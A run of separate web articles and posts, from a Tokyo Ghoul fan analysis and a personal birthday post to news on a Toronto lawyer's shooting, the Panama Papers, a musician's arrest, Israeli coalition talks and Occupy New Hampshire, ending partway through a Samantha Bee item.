pool. Even the never-stopping rain, even the never-breaking night, even the never-ending agony. It’s surely there, it’s just that it wasn’t there until now. Falling down, falling down. It’s as if right has become left. And on the brink of collision, I recall Björk’s song, I think this is where we are at at the poem, Touka has dived in by basically lying it all bare in front of Kaneki. Approaching the point of collision could be Mutsuki, a final collision between those two plot lines. As for a Bjork song, most assume that song is Hyperballad, the song played during the New Year’s livestream. The lyrics are a bit abstract, but basically it is about a girl throwing away things off a mountain, pieces of herself so she can be happy with someone else. At some point in the song she also considers throwing herself off of the mountain too. I follow with my eyes ‘til they crash Imagine what my body would sound like Slamming against those rocks When it lands Will my eyes Be closed or open? I go through all this Before you wake up So I can feel happier To be safe up here with you [x] I would say all of this foreshadowing at least points to Touka’s dissatisfaction and possibly the confrontation causing her to lose consciousness. She might even throw herself in front of Kaneki to protect him, since the person in the poem and the song both willingly throw themselves. In conclusion though, what does a rotting womb mean in association with Touka? It means that new life that could be born from her, has suddenly hit a stopping point and that stagnation is causing her to rot. What that could mean in literal terms though, we’ll have to see as the events unfold. -The only reason I am still here, quite frankly, is all of you. I made this blog right as I began to get so much sicker, and was completely alone. The support I received through all of you gave me the courage to seek out further treatment that undoubtedly prolonged my life. Prior to this, nobody listened to me. Nobody heard me when I was sick, nobody believed that what I said was happening actually was. I had nearly given up on myself, since all of my doctors and families tried to convince me that I was lying about my failing health. It was the absolute life changing experience of having an audience that gave me the strength to keep fighting. I actively thought about my followers, many of them by name, as I went to doctor after doctor and treatment after treatment. This is no exaggeration. My followers were the only people who wanted to be in my life and wanted to listen to what I had to say. That was everything to me. A lot of my early followers have become lifelong friends. I am sitting next to one of them right now, and have seen countless others these past few years, and anticipate meeting many more. Because of everyone, these have probably been the happiest years of my life. If not for all of you, I would probably be dead already, no joke. My body was completely shutting down, and it took a lot more strength than I could ever have alone to pursue extremely painful and effective treatments. Even though there still is no cure, and my life will likely end sooner than the time since this blog began, it has been made so much longer and so much better because of all of you. Even if whoever is reading this is a new follower, even if you are an old one, if you ever doubt yourself, remember that your mere presence can be life changing to someone else. I still have a lot more fighting to do, but I never would have made it this far in the first place alone. This birthday is because of all of you. Thank you. -Prominent Toronto defence lawyer Randall Barrs has recovered after being shot Sep. 20 outside his law office, but he is critical of Halton police for allowing the shooting to happen and Toronto police for not determining why he was a target. Barrs spoke exclusively to CBC Toronto Tuesday. It was the first time in the more than two months since a gunman opened fire that he has spoken on camera. On the sunny Tuesday afternoon when Barrs was shot in the driveway of his law office at 23 Bedford Rd. in the Annex, there were babies in strollers at a parkette just across the street. Barrs remembers them, but said he didn't see the man who is now accused of shooting him from behind until after he'd been shot twice in the left leg and had fallen to the ground. "I heard the noises, the popping sound and the next thing I knew I realized I was on the ground and with the amount of blood I saw on my leg and on my shoe and on the driveway, when I looked back over my shoulder, I put together I'd been shot," Barrs said recalling the ordeal. "I lost a lot of blood when I was hit, I was shot from behind by this coward." Barrs first started to hop on his injured leg down the driveway towards the assailant, but then fear set in. "Then I realized after two or three hops that he has a gun and I don't have one, so I just did a U-turn and hopped towards my office and lay on the door there and that's when the mystery begins," Barrs said. J. Randall Barrs gives his first television interview since he was shot outside his law office in September. (Martin Trainor/CBC) Within seconds a group of undercover officers from Halton Police had surrounded the gunman and were helping Barrs secure his belt around his leg to slow the bleeding. Sources tell CBC Toronto the team had the alleged gunman under surveillance, but Halton police have never confirmed why. Barrs wants to know why police didn't step in earlier if they were hiding in the bushes. "They were all wearing vests, they were protected — very dangerous situation. There were people all over the place," he said. "It's just a miracle that no one else was hit beside me." One of the officers shot the alleged gunman in the neck. The man survived, and the incident is being investigated by the Special Investigations Unit (SIU), the province's civilian police watchdog. The SIU steps in when police are involved in a confrontation that results in the injury of a civilian. J. Randall Barrs is photographed outside his law office on Tues., Nov. 22, 2016. (Martin Trainor/CBC) Halton police told CBC Toronto Tuesday they can't comment because their investigation is ongoing. The SIU said its investigation is continuing and it could not provide an update. Barrs is perplexed the SIU investigation isn't finished because he said he was told the officer who pulled the trigger, along with the officers who witnessed it, were all interviewed within a week of the shooting. Grayson Delong, 51, is charged with 15 offences, including attempted murder. No longer wearing a gray neck-brace, on Nov. 21 Delong appeared in court, wearing an orange jumpsuit. Some pre-trial arrangements were made and he will appear next in court Dec. 5. At the time of the shooting, Delong was out on bail after a series of break-and-enters in Halton region, and was under a weapons prohibition. "He was out on bail for a bunch of [break and enters] in Peel but this doesn't look like [break and enter] surveillance. It doesn't make any sense," said Barrs. Barrs maintains Delong was not a past or present client of his, and the men did not know each other. Toronto Police have downloaded video that allegedly captures the shooting from one of Barrs's associates and apprehended Delong's cellphone, according to Barrs. Halton police officers boxed in the alleged gunman, who is inside the silver car in this image, moments after lawyer J. Randall Barrs was shot. (Peter Schilling/Submitted) Yet nine weeks later there have been no updates from police. Barrs said whoever orchestrated the shooting hasn't been caught, which means whoever has an axe to grind against him is still out there. "You would think that would cause [Toronto Police] to speed up their investigation. You would think time would be of the essence but that doesn't seem to be the way things work with the Toronto Police Service," said Barrs. "I'm not happy, I haven't been on this side of the fence but now I understand why a lot of people who have been have expressed so much unhappiness." Toronto Police did not respond to CBC Toronto for an update on their investigation. Despite everything, the veteran defence lawyer said he is not letting the open case stop him. "I've been doing this for 40 years. I'm not afraid. I'm carrying on with my life," Barrs said. The bullets went right through his left leg, missing bones and arteries. There is muscle and nerve damage, but he is recovering well, he said. He says he was home from hospital the day after the shooting, and his first day in court was just over a week later on Sept. 29. "I was in a lot of pain and discomfort for a long time, but it gradually got better day-by-day," he said. "I'm doing pretty well. I'd say [I'm] at the 95 per cent level at this point." -Since the release of the Panama Papers, every day has brought on a new development. The sheer scale of the leaks is staggering — nearly 100 times more data than when Wikileaks released nearly 3 million US diplomatic cables. The papers themselves include millions of leaked documents that reveal just how pervasive tax avoidance is among the world's most powerful and wealthy. They give a world tour of corruption, magnifying tactics used by the rich to keep their financial dealings secret. They have already forced out the prime minister of Iceland and raised uncomfortable questions for the prime minister of the United Kingdom. But they also raised a lot of questions, from the complex to the simple: Who leaked the documents? How did we get into this situation in the first place? And what the hell is a shell company to begin with? While financial transparency remains a mainstay of many prominent world leaders' political platforms, the Panama Papers proved that international tax structures allow for widespread secrecy. Here's how: 1) What are the Panama Papers? Let's start at the beginning. In short, the Panama Papers is the biggest leak of confidential data in history. Specifically, the leak consisted of 11.5 million documents from Mossack Fonseca, a Panamanian law firm that specializes in helping people anonymously set up offshore shell companies in nations with lower taxes to protect their financial assets. The papers were initially released to German newspaper Süddeutsche Zeitung. The newspaper then partnered with the International Consortium of Investigative Journalists. For more than a year, 300 journalists reviewed the 2.6 terabytes of data before releasing their findings, now called the Panama Papers. The documents showed the internal dealings, emails, invoices, and documents shared between the world's elite and the lawyers paid to help them retain their wealth. If we have learned anything from the Panama Papers, it's that the revelations that came out of them are extraordinarily complicated (explained in more detail here), and their impact has depended not just on what the papers themselves showed, but on the political situation surrounding the principal players. The papers named 140 politicians from more than 50 countries linked to offshore financial dealings in more than 20 tax havens. It named famous athletes and celebrities, friends of world leaders, and wealthy divorcees, ultimately giving insight into how the wealthy are able to keep their money and power without being subject to their own country's laws and tax codes: Iceland's prime minister resigned after the Panama Papers showed he was personally connected to an offshore company , Wintris, registered in the British Virgin Islands, that stood to benefit from bailout negotiations in which he was involved with big banks, although it's not clear whether he personally benefited financially. , Wintris, registered in the British Virgin Islands, that stood to benefit from bailout negotiations in which he was involved with big banks, although it's not clear whether he personally benefited financially. UK Prime Minister David Cameron's father owned an offshore holdings company in Panama in which the prime minister also once had shares and sold before becoming prime minister in 2010. in Panama in which the prime minister also once had shares and sold before becoming prime minister in 2010. There is a multimillion-dollar network of offshore companies surrounding Vladimir Putin and his closest friends that, although not directly linked to Putin by name, connects the Russian president to secret and questionable loans and investments in Russian monopolies. and his closest friends that, although not directly linked to Putin by name, connects the Russian president to secret and questionable loans and investments in Russian monopolies. Mossack Fonseca was deeply tied to Brazil's current corruption scandal and President Dilma Rousseff's impeachment trial. The Panamanian law firm helped 57 people linked to the Petrobras scandal, a $5.3 billion bribery scheme implicating Brazil's most elite politicians and executives, and set up 107 offshore companies, including one allegedly tied to Eduardo Cunha, the lead opposition politician pushing for the president's impeachment. 2) How do tax havens and shell companies actually work? Tax havens — countries, states, or territories where taxes are very low or nonexistent — often also have financial regulations that require less transparency in the banking system. Panama, for example, does not have an international transaction income tax or sales tax. The government only requires that offshore companies pay a $300 annual franchise tax. Places like Panama — or the Bahamas, the Cayman Islands, or the British Virgin Islands — are particularly attractive for wealthy individuals because this legal framework makes it easy to hide their financial assets from the tax authorities of the countries in which they actually live and work. Big multinational companies take advantage of tax havens to minimize their corporate income tax bill by internally shifting profit-making assets to subsidiaries located in low-tax countries. For example, Apple's global sales go through its subsidiary company in Ireland, which has lower corporate income tax. Individuals can't really do this. Instead, they can go to law firms like Mossack Fonseca to set up inactive companies, called shell companies, the sole purpose of which is to hold financial assets. Usually the true owners of these companies remain anonymous — on paper, shell companies are often directed by the lawyers who control the company but don't have any real control of the company's activities. These shell companies can hold investments, they can buy houses and multimillion-dollar yachts, and ultimately they allow the real owners to shield assets from scrutiny or taxation. Setting up a shell company isn't illegal. Paying lower taxes in Panama or other tax havens isn't illegal either. These, like claiming deductions, are tax avoidance practices — legal ways to pay the least amount of taxes possible. But tax evasion — failing to accurately disclose your financial situation — is illegal. The precise line between legal avoidance and illegal evasion can be hard to detect, especially without access to full and complete financial records, so offshore shell companies can help blur the line. 3) Are offshore tax havens bad? Tax havens let people avoid or evade paying a lot of money to the governments under which they live — which is good for the avoiders, and, again, is not necessarily illegal, but is usually bad for their fellow citizens. Gabriel Zucman, an economist at the University of California-Berkeley, estimates that nearly $8 trillion — 8 percent of all the financial wealth in the world — is stashed in tax havens, and that illegal tax evasion costs governments around the world $200 billion per year in taxes. The problem is worst in Africa, where 30 percent of assets are in tax havens, and Russia, where the total wealth in tax havens is more than 50 percent. Legal tax avoidance schemes cost the US a lot of money, too: A recent study from Oxfam found the top 50 corporations in the US had stowed more than a trillion dollars in 1,600-plus offshore subsidiary companies while still receiving trillions in federal funds, whether in the form of a loan or a bailout. Their tax avoidance practices cost the US more than $110 billion every year, according to Oxfam's report. Organizations like Oxfam say this leads to further inequality, ultimately forcing the government to cut federal programs that are meant to aid lower-income citizens. Outside of the US, this kind of practice can also reduce tax gains in the developing world. Because tax havens are the product of an unorganized international tax system, developing countries are also cut out of about $100 billion of taxes — money that could go toward necessary infrastructure like schools, roads, etc. Tax havens are also counter to ideals of financial transparency. One chief purpose of shell companies is to maintain the anonymity of the real owner, which has the potential to lead to even shadier things than tax avoidance. Tax havens are often seen as breeding grounds for criminal activity. When countries do not require companies to report financial records, it makes it really easy to mask illegal activities. This is the scene in the movies when the rich guy in a silk robe gets arrested for laundering money through his private Cayman Island resort. And a lot of these law firms are set up to help people do just that. Mossack Fonseca, the law firm at the center of the Panama Papers, has been investigated time and time again for aiding in money laundering schemes. In January, Brazilian prosecutors brought charges against their lawyers for hiding documents related to the Petrobras scandal. Before that, an American hedge fund that was invested in Argentina's defaulted debt investigated Mossack Fonseca's Las Vegas subsidiary for hiding records relating to offshore accounts that were stealing from Argentinian government contracts. "When it comes to money laundering, we offer full service: rinse, wash, and dry," said Miguel Antonio Bernal, a Panamanian lawyer and political analyst told Vice. "You can go to any law firm in the city, from the smallest to the biggest, and open up a shell company with no questions asked." In the end, tax havens make inequality worse, Zucman told Vox's Libby Nelson: They make it easier for the rich to get richer by avoiding taxes. They make it harder to redistribute their wealth. And people who aren't sheltering their assets end up paying more in taxes to make up for the untaxed money that's being held offshore. 4) If so many people think tax havens are bad, why are they still around? Isn't someone trying to do something about this? The simplest way to approach this is that tax havens benefit the very wealthy and the very wealthy have a lot of political clout. Elites have largely allowed tax havens to exist because elites themselves benefit from their existence. This doesn't mean fixes haven't been in the works. In both 2008 and 2014, the Senate investigated tax-evasion practices surrounding Switzerland's largest banks. During the second investigation, Credit Suisse agreed to a $196 million settlement with the US Securities and Exchange Commission for illegal banking. In 2015, Sen. Sheldon Whitehouse (D-RI) introduced the Stop Tax Haven Abuse Act. The bill, supported by many tax-justice oriented organizations, would tighten reporting requirements on offshore companies and treat certain offshore companies owned by Americans as taxable domestic corporations. It was referred to House committees the day it was introduced and has not moved since. There are multiple reasons for this. First, tax havens' major beneficiaries are multinational corporations that have powerful lobbyists. According to the Oxfam study, a corporation is run by a "multibillion dollar army of lobbyists to influence federal policy," which not only guarantees them millions in loans, loan guarantees, and bailouts, but also finds ways to eventually bring the money they have stored offshore back into the country without exorbitant taxes. But also there are some persistent counterarguments to putting an end to tax havens. One, paying higher taxes prevents them from investing in resources that could ultimately benefit people. And second, there is the notion of double-taxing, which is the idea that without tax havens people could be taxed on the same income, assets, or financial transactions in two different jurisdictions. In the current international tax structure, double taxing is prevented with tax deals between countries. For example, under President Barack Obama's administration the United States passed a deal with Panama that eliminated tariffs on trade and gave Panama access to US businesses and financial services. 5) How did we get into this situation in the first place? Is a trade deal with Panama to blame? Many congressional critics of the free trade agreement between the US and Panama, which passed in 2012, warned the deal would worsen Panama's status as a tax haven. One of those critics, presidential candidate Bernie Sanders, used the Panama Papers to vindicate his stance against the Panama free trade deal. "The Panama Free Trade Agreement put a stamp of approval on Panama, a world leader when it comes to allowing the wealthy and the powerful to avoid taxes," Sanders said in a statement following the release of the Panama Papers. "I predicted that the passage of this disastrous trade deal would make it easier, not harder, for the wealthy and large corporations to evade taxes by sheltering billions of dollars offshore. I wish I had been proven wrong about this, but it has now come to light that the extent of Panama’s tax avoidance scams is even worse than I had feared." But this isn't necessarily the case. In fact, countries can use trade deals to put checks on tax havens. The papers themselves indicate that the agreement made it slightly ​harder​ for Americans to use Panama specifically as a venue, as the Washington Post's editorial board argues: Data culled from the documents by the International Consortium of Investigative Journalists, and presented in several charts on the group’s website, show that the Panama-based law firm Mossack Fonseca, which specialized in setting up offshore accounts and shell companies for wealthy people, has been steadily reducing its activity in Panama for about a decade. As it happens, the decline began about the time the Bush administration and Panama began discussing a free-trade pact — and accelerated after the deal took effect during Mr. Obama’s first term. [...] The Obama administration, backed by members of Congress, made it clear the free-trade deal — which Panama badly wanted, to match a deal between its Central American neighbors and the United States — hinged on a separate agreement granting U.S. tax authorities more access to Panama’s financial system. The United States particularly insisted on plugging the "bearer shares" loophole. Panama agreed and changed its laws accordingly — before the free-trade agreement reached the Senate and Mr. Sanders nevertheless voted "no," claiming, wrongly, that it would make the tax haven "worse." 6) Taxes are kind of confusing. Can we just watch cartoons instead? Yes. But only if it's a fun educational cartoon about shell companies and tax havens. Here are the Panama Papers explained in an adorable comic about piggy banks: 7) Hold up. Back to the Panama Papers. Who actually leaked these documents? We don't actually know. In an interview with Wired, Bastian Obermayer, the Süddeutsche Zeitung reporter who first interacted with the anonymous whistleblower, said the German paper had months of encrypted conversations with the source, who over a few months continuously fed the reporters troves of confidential documents, emails, and invoices. Obermayer said the source said his or her "life is in danger." They never met in person and only communicated in encrypted messages. In the months that followed, Süddeutsche Zeitung partnered with journalists around the world and created an encrypted database to work through the leaked documents. The paper has not released the raw data and has said it will not do so, in order to protect the source. "You don't harm the privacy of people, who are not in the public eye. Blacking out private data is a task, that would require a lifetime of work — we have eleven million documents," the reporters wrote in a Reddit AMA. The law firm in question, Mossack Fonseca, maintains that the leak did not come from one of its employees. So, the source is still anonymous, but there are a lot of theories about who leaked the documents. It's fun to speculate, but the conspiracy theories also illustrate how different parts of the world are reacting to the leak: Putin's theory is that the US leaked the documents as part of a larger scheme to "destabilize" Russia, adding that the entire motive behind leaking the documents was to smear him as president. "They are trying to destabilize us from within in order to make us more compliant," Putin said in response to the information revealed in the documents. The Brookings Institute's Clifford G. Gaddy theory is that Russia leaked the documents, which turns Putin's theory on its head, claiming that this was some long-reaching Russian ploy to blackmail the US. How? Because while the Panama Papers mired Russian elites in headlines, they said little that was unknown. Rather, Gaddy says the papers are more interesting in what they don't reveal: the offshore habits of American elites. That information, he says, the Russians are keeping as blackmail: Any actual reputational damage to Putin or Russia caused by the Panama Papers is in fact pretty trivial. For that cheap price, the Russians would have 1) exposed corrupt politicians everywhere, including in "model" Western democracies, and 2) fomented genuine destabilization in some Western countries. What I wonder, then: Is it a set-up? The Russians threw out the bait, and the United States gobbled it down. The Panama Paper stories run off Putin like water off a duck’s back. But they have a negative impact on Western stability. [...] Therefore, I suggest that the purpose of the Panama Papers operation may be this: It is a message directed at the Americans and other Western political leaders who could be mentioned but are not. The message is: "We have information on your financial misdeeds, too. You know we do. We can keep them secret if you work with us." In other words, the individuals mentioned in the documents are not the targets. The ones who are not mentioned are the targets. These two conspiracy theories have one thing in common: They suggest that the revelations in the Panama Papers were very important to Russia and Putin in particular. Even if neither is true — yes, Gaddy's theory is somewhat outlandish, but he's also one of the most prominent experts on Russia's economy — that's an important point of context to understand why they've made news. 8) Why didn't Americans make the Panama Paper headlines? We have three options here: One, we can go with Gaddy's theory that they actually did make an appearance in the papers and we just don't know about it yet; two, that Americans have used other tax-avoidance schemes; or three, that Americans are in the clear and don't use tax-avoidance schemes. The third is not the correct answer. As the Oxfam study said, especially in corporate America, the use of tax havens is pervasive. Americans are not exceptional in this regard. And there are plenty of very wealthy Americans who are surely implementing tax-avoidance schemes. Mossack Fonseca is one law firm – and one that as a policy "prefer(s) not to have American clients," founder Roman Fonseca recently told the Associated Press. "My partner is German, and I lived in Europe, and our focus has always been the European and Latin American market," Fonseca told the AP. But there is an additional point to be made here. The term "offshore tax haven" or offshore company, uses "offshore" very loosely. America has its own tax havens — a lot of them. As James Henry, a senior adviser to the Tax Justice Network, wrote in a 2012 report, first reported by the Washington Post, offshore can also mean right at home for Americans looking to protect their assets: "The term offshore refers not so much to the actual physical location of private assets or liabilities, but to nominal, hyper-portable, multi-jurisdictional, often quite temporary locations of networks of legal and quasi-legal entities and arrangements that manage and control private wealth," Henry wrote. Namely, Delaware, Nevada, Wyoming, Montana, South Dakota, and New York are all tax-friendly for keeping financial assets, even when compared to the more iconically known tax havens like the Bahamas or Panama. 9) Okay, so a lot of data was just released and important people were named. Is anything actually going to change now that we know this? It's true this sort of tax-avoidance scheming has been going on forever; it has long been documented that people try to find every possible way to pay fewer taxes. But as the stories continue to unfold some things have started to change. There were the immediate reactions: Iceland's prime minister resigned out of embarrassment, British Prime Minister David Cameron, who released his personal financial assets in an attempt at transparency — a promise he had made earlier on as prime minister and is now under enormous pressure to uphold — will also host an anti-corruption summit in the coming month, which will surely discuss the Panama Papers' findings. The European Union's Commissioner for Economic and Financial Affairs, Taxation and Customs Pierre Moscovici also threatened sanctions against Panama and other tax havens if they do not close their tax loopholes, according to the Associated Press. Panama, which has not cooperated with international tax issues in the past, has responded to the strong international outrage, forming an international committee of experts to recommend best transparency practices for Panama's offshore financial industry. "The Panamanian government, via our foreign ministry, will create an independent commission of domestic and international experts ... to evaluate our current practices and propose the adoption of measures that we will share with other countries of the world to strengthen the transparency of the financial and legal systems," President Juan Carlos Varela said in a televised address after the papers were released. There have been a lot of calls for action. Now it is a waiting game to see if changes will be implemented. -Hours before the rock band Coheed and Cambria was scheduled to perform at the Comcast Center in Mansfield yesterday, police arrested bass player Michael Todd and charged him with robbing a nearby pharmacy of painkillers. The Attleboro Police Department said in a prepared statement that officers responded to a Walgreens Pharmacy about 1 p.m. Sunday after Todd, 30, of Anaheim, Calif., allegedly demanded Oxycontin and threatened pharmacists with a fake bomb. He absconded with six bottles of pain pills, police said. “The male suspect fled behind the building,’’ the statement said. “He was seen by a passerby getting into a taxi cab.’’ Police said they contacted a local cab company, which reported picking up a fare near the Walgreens minutes after the robbery. The cab service told police the taxi was headed to the Comcast Center, where Coheed and Cambria were slated to open for the 1990s rock band Soundgarden last evening. Attleborough police said they noticed the Mansfield Police Department, which sent officers to intercept the cab. Todd was arrested at the concert hall and he will face charges of armed robbery and possession of a controlled substance, the statement said. Todd was jailed in Attleboro on $10,000 cash bail while his bandmates performed without him. New York-based Coheed and Cambria said in a statement on its website that it will not cancel any shows and plans to continue a tour of the Northeast and Canada with another bass player. “Todd was arrested today on what we consider very serious charges and therefore he will not be finishing up the current tour,’’ the band wrote on its site. “We are surprised, to say the least, and will address the situation with Michael after the tour.’’ Alexander C. Kaufman can be reached at akaufman@globe.com. © Copyright 2011 Globe Newspaper Company. -MEMBERS of the clergy would face jail for failing to report knowledge of sexual abuse gained during confession, with pressure growing to lift the confidentiality laws that protect them. Exemptions exist for members of the clergy, medical workers and social workers among a small number of professions in NSW if they conceal knowledge of a crime from authorities if it was gained in their professional duties. Yesterday Julia Gillard and Tony Abbott added their voices to calls that Catholic priests not be exempt from having to report child abuse to police if they hear it in the confessional. MPs said the forthcoming royal commission on sexual abuse should recommend that state criminal codes be harmonised to mandate priests to go to the police in child sexual abuse matters. -[Editor's note: Ohio State has asked us to remove the video of OSU's QBs at the scrimmage from publication. Our apologies.] How did Ohio State's top-three quarterbacks -- J.T. Barrett, Joe Burrow and Dwayne Haskins -- look during Saturday's student appreciation day scrimmage? In a word, they were sharp. Not perfect by any means or even close, but it was an encouraging day for the Buckeye QBs. Burrow is the clear backup to Barrett, but Haskins is also looking good. Barrett, Burrow and Haskins were all wearing black no-contact jerseys, while Tate Martell was live. For much more on how the QBs performed during the scrimmage between the offense and defense, which ended in a 16-16 tie, check out our practice thread that was posted earlier on Saturday. What's next for the Buckeyes? Make sure you're in the loop -- take five seconds to sign up for our FREE Buckeyes newsletter now! Want the latest scoops and news on the Buckeyes? Try our 7-DAY FREE TRIAL AND BECOME A BUCKNUTS SUBSCRIBER! -Prime Minister Benjamin Netanyahu met with President Shimon Peres on Saturday evening and officially asked him for an extension in order to form the new government. Peres granted the request. In a short press conference held in the President's Residence following the meeting, Netanyahu criticized what he called the "boycott" imposed by certain parties on others. Related stories: "The main reason I have not been able to finish forming the coalition until now is – and I'll say this as plainly as possible – the fact that certain parties are boycotting others. "There's a boycott against a sector in Israel and this goes against my views," he said, in thinly veiled criticism of the political pact between Yesh Atid and Habayit Hayehudi, which states that they will not join a coalition that includes the haredi parties. Netanyahu and Peres (Photo: GPO) "I am doing everything within my power to unite the people. I think that we, as Jews who have suffered from bans, we cry out in protest when Israel is shunned in international forums – as we should. We protest when settlers in Judea and Samaria have to deal with product boycotts – as we should. So the people who have to be the most sensitive to this issue are the settlers. "Our history," he continued, "Is riddled with tragedies caused by unfounded hatred and internal fighting. Today, when we look around and see the myriad of challenges around us – security challenges, the challenges posed by the need to hold a responsible peace process – I believe these challenges require that we stand united, not divided." 'Democracy takes effort' "After seeking legal advice and hearing how the negotiations are going and what you have done so far, I believe you are the man who should form the government," Peres told Netanyahu in the press conference. "I was glad to learn that you believe that you have a good chance of forming a coalition within the next two weeks. I have no doubt that Israel needs a stable government that would be able to deal with the social and security challenges ahead. "We are a democracy and democracy takes effort. I hereby grant you a two-week extension to form the coalition and bid you good luck," the president concluded. The customary 28-day timeframe afforded to the prime minister after the Likud's election win, elapsed over the weekend. Israel's Election Act, as well as Basic Law: The Government, state that the winning candidate is allowed to petition the president for an additional 14 days to complete the task, should the initial timeframe prove insufficient. According to the law, should Netanyahu fail to form a government at the end of his 14-day extension, Peres could task another candidate with the responsibility. In the event that the president does ask another candidate to form the government and he or she fails as well, a new general elections would be called. Naftali Bennett was quick response to Netanyahu's criticism, via his Facebook page, saying it was the Likud-Beiteinu's negotiation team that is responsible for the disconnect. "We expected to be the first, and most natural, partner to enter Netanyahu's government. We recommended that he be tasked with forming the government sans any preconditions. The Likud, however, sent us a clear message – 'there is no way the religious-Zionism party will be part of the government.'" Despite the mutual gabbing, Netanyahu and Bennett have agreed to meet on Sunday in another attempt to resolve the stalemate plaguing the coalition negotiations. Follow Ynetnews on Facebook and Twitter -Graeme Watt enlightens us on the appeal of the trainer festival as Laces Out heads back to Camp & Furnace. This Saturday sees Laces Out return to Camp and Furnace for its Biannual trainer festival, and having spent the best part of 3 years at the venue, they seem to have gotten the whole thing down to a fine art. Now trainer festivals probably seem a little far fetched to most, they have been going on up and down the country for the past 8 years or so with Crepe City dominating the footwear scene down south and Laces Out up north. Things may have slowed down with level of top quality releases in the shoe world, but that doesn’t seem to stop the punters heading to Laces Out, as other than Carlos store out in South America, you’ll be hard pressed to find unworn vintage Adidas anywhere but the Scouse trainer festival which seems to make it a favourite for those travelling. For those oblivious to trainer culture, you can expect to find a wide variation of footwear, streetwear, local traders and exclusive previews from the likes of Adidas. Previous events have included sneak peeks of the Adidas Spezial range, early screenings of brand new sneaker channels before hitting social platforms, live music throughout the day with some guest appearances from guests such as Bobbito Garcia, Kish Kash, Neal Heard and Lecky Legs. This weekends event also boasts an exclusive preview of Neal Heard’s The Art of the Football Shirt exhibition showcasing classic football shirts from over the years. Boasting a wide selection of entertainment including No Fakin’ DJ’s, DJ Pooky and SUEDEBROWN along side stalls packed with footwear, Laces Out is pretty much the ideal place to spend your Football free Saturday with family & friends. -Occupy New Hampshire takes over White Park By MATTHEW SPOLAR Monitor staff Last modified: 10/10/2011 12:00:00 AM White Park became ground zero of the Occupy New Hampshire movement yesterday, as residents from across the state descended on Concord to decide how to make their voices heard in a fashion similar to the ongoing Wall Street protests. Using a consensus-building direct democracy format, about 100 people decided to begin an occupation of Veterans Park in Manchester at noon Saturday. The protesters, who intend to meet for a daily general assembly and occupy the park in shifts, will join a growing movement concerned about the influence of money and big business on government. "I've been to protests before, but this is the most exciting movement I've seen so far," said Matthew Richards, a 20-year-old student at the University of New Hampshire in Manchester. One of the most vocal organizers yesterday was Brett Chamberlin, a Durham native who is a junior at New York University. Chamberlin has been attending the Wall Street occupation since it began Sept. 17. With Chamberlin's direction, the group was organized into committees that will meet at the park to discuss topics like education, labor, art and religion. "So far, the consensus at Occupy Wall Street has been that we're hesitating to make official demands because a movement doesn't have demands necessarily. We want it to be seen more as a movement," as opposed to a protest, he said. Occupy events have now sprung up in cities across the country. Also, making demands at this point might turn people off from joining, he said. "I think we're there more to respond to the problems and recognize that things are messed up before we necessarily try to channel that into demands," he said. "It's complicated." Ken Roos, first vice president of the State Employees' Association, was active in the discussion about how to go about the occupation. He said corporate profits go into off-shore tax shelters and private jets for CEOs instead of hiring more employees or improving employee benefits. "The 1 percent controls everything that's going on in the country, and has had a negative impact not just on the 99 percent but the entire country," he said. "As much as the government tries to follow the rules that the corporations are saying - as far as, 'provide us with tax breaks and things like that and we'll create jobs' - they're not creating them. At least not in the United States." Leah Wolczko, an unemployed teacher in Manchester, first became politically involved through the anti-tax Tea Party movement. Present yesterday were hardcore communists and hardcore anarchists, she said, and "even those divergent positions can come to an agreement on what needs to change immediately." Wolczko said the Tea Party movement, now associated with Republican politicians, and the Occupy movement, thought to be sparked by a more left-leaning sentiment, are "the same thing to me." "The Tea Party at its heart was against unfair advantage and big government that gives it and creates the inequalities," she said. "This is a very diverse group politically, and not everybody agrees on how the inequality has come about. But we all agree that it's here." Ed Cunningham, the 62-year-old chairman of the Kensington Democrats, said the people in both the Tea Party and the Occupy movement have similar concerns, but go about it in different ways. "I think (the Tea Party was) co-opted by the Republican Party to win an election," he said. "I don't think you can push these people anywhere they don't want to go." Cunningham, toting a towering American flag, said the meeting reminded him of a "constitutional congress." "This is amazing," he said. "This is what it was." Sherry Gould, a 57-year-old social worker from Warner, said she loved watching people "in live-free-or-die (New Hampshire), one of the most politicalized states in the world, rise to the challenge and be able to put their partisan differences aside, find common ground." Gould said she came out because of "my children and my grandchildren and this crappy, crappy world that we're handing them." "It breaks my heart to see the lack of opportunity for young people," she said. "All these people using their skills to build this movement are building a resume. Even if they can't get a job." Leah Woods, a 39-year old Portsmouth resident who teaches woodworking, said she is worried that in politics, "increasingly allegiances seem to be more towards corporations and more towards organizations that have a lot of money." Figuring out where the problem starts is a difficult issue the Occupy movement can begin to address, she said. "It's a really big, abstract issue that cannot be pinpointed to any one particular company or person," she said. "I think there's so many factors that contribute to this place that the country is going, where people who have are on a path to have more and people who don't have are on a path to have less." Matt Lawrence, an unemployed 27-year-old from Manchester, said he is hoping the Occupy movement can make "our elected officials actually represent us again," in Washington. "The time and the place for calling your local politician seems to have come and gone, and it seems like it doesn't really do anything," he said. Curtis Russell, a 30-year-old Manchester resident who described himself as an individualist-anarchist, wasn't pleased with the hours spent yesterday trying to structure Occupy New Hampshire. Mimicking the Wall Street protests, where megaphones have been banned, the meeting used an active listening format where speakers paused every couple words as the crowd repeated what they said to make sure all had heard. "It's a meeting to establish bureaucracy and I'm more interested in destroying bureaucracy," he said. "I think it's a waste of time in that respect . . . these people are still hacking at the limbs of a tree and they're ignoring the roots." The Occupy movement is too focused on reforming government without trying to get rid of it, he said. "Arguably, global corporations are a huge detriment to mankind but they are unable to exist without their partner, the state," he said. Andrew Boyd, 42, of Concord said he came out to see what was going on, but wasn't ready to associate himself with the group. "I'm not sure about who they are yet," he said. However, Boyd said it's always good for people to gather publicly, at any time. "That's important - our right to gather is in need of exercise," he said. (Matthew Spolar can be reached at 369-3309 or mspolar@cmonitor.com.) -Abortion may be a key issue for evangelical Christian voters, but Samantha Bee says that wasn't always the case. On Monday night, the "Full Frontal" host went back in time to the late 1970s to explain how the issue was manufactured by power-hungry leaders of the religious right and then legitimized by the Republican Party. "Last week, we took a look at the religious right, those coveted evangelical voters that conservatives spent decades pandering to only to be dumped just before November prom for a heretical billionaire bully who only says the word 'God' when he is ejaculating on a pile of money," said Bee. "Many people think the new religious right arose as a response to the 1973 Roe v. Wade decision," she added. "But that's not true." Bee played a clip showing Dartmouth religion professor Randall Balmer revealing how leaders of the religious right held a conference call in 1979 to discuss which issues they should politicize. One member suggested abortion. "Wait, were they founding a movement or deciding what toppings to get on their pizza?" asked Bee. "Now they just needed to tell the rest of us that abortion was bad." Bee then spoke to filmmaker Frank Schaeffer, the son of prominent Christian theologian Francis Schaeffer, who produced propaganda videos 